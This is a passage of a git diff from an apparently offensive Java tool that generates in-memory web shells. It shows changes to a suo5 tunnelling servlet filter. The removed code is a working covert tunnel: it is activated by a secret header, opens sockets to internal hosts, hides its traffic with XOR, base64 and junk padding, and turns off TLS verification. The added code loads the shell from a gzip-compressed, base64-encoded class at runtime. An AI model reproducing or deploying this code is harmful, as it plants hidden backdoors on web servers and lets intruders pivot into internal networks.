(!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } } - private int getServerPort(HttpServletRequest request) throws Exception { - int port; + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - - private byte[] toByteArray(InputStream in) { - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java index eeeda2fc..57c6a923 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -1,54 +1,26 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; -import javax.net.ssl.*; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2Filter extends ClassLoader implements Filter { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2Filter() { } - public Suo5v2Filter(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2Filter(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; + protected Suo5v2Filter(ClassLoader parent) { + super(parent); } @Override @@ -61,8 +33,11 @@ public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain cha HttpServletRequest request = (HttpServletRequest) sReq; HttpServletResponse response = (HttpServletResponse) sResp; try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - new Suo5v2Filter().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2Filter(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); + } + if (suo5V2Class.newInstance().equals(new Object[]{request, response})) { return; } } catch (Throwable ignored) { @@ -70,1015 +45,41 @@ public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain cha chain.doFilter(sReq, sResp); } - private void process(ServletRequest request, ServletResponse response) { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - - String sid = null; - byte[] bodyPrefix = new byte[0]; - try { - InputStream reqInputStream = req.getInputStream(); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(req, resp, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(resp); - processFullStream(req, resp, dataMap, tunId); - break; - case 0x02: - setBypassHeader(resp); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - resp.setStatus(403); - - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); - do { - processHalfStream(req, resp, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(resp, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, new String(sidData))); - - do { - processClassic(req, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - - break; - default: - } - } catch (Throwable e) { - } finally { - try { - OutputStream out = resp.getOutputStream(); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(HttpServletResponse resp) { - resp.setBufferSize(BUF_SIZE); - resp.setHeader("X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - resp.setHeader("Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.setStatus(403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = req.getInputStream(); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - - Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = resp.getOutputStream(); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.flushBuffer(); - } - - private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2Filter(tunId, 1)).start(); - new Thread(new Suo5v2Filter(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - } - } - - private int getServerPort(HttpServletRequest request) throws Exception { - int port; - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws 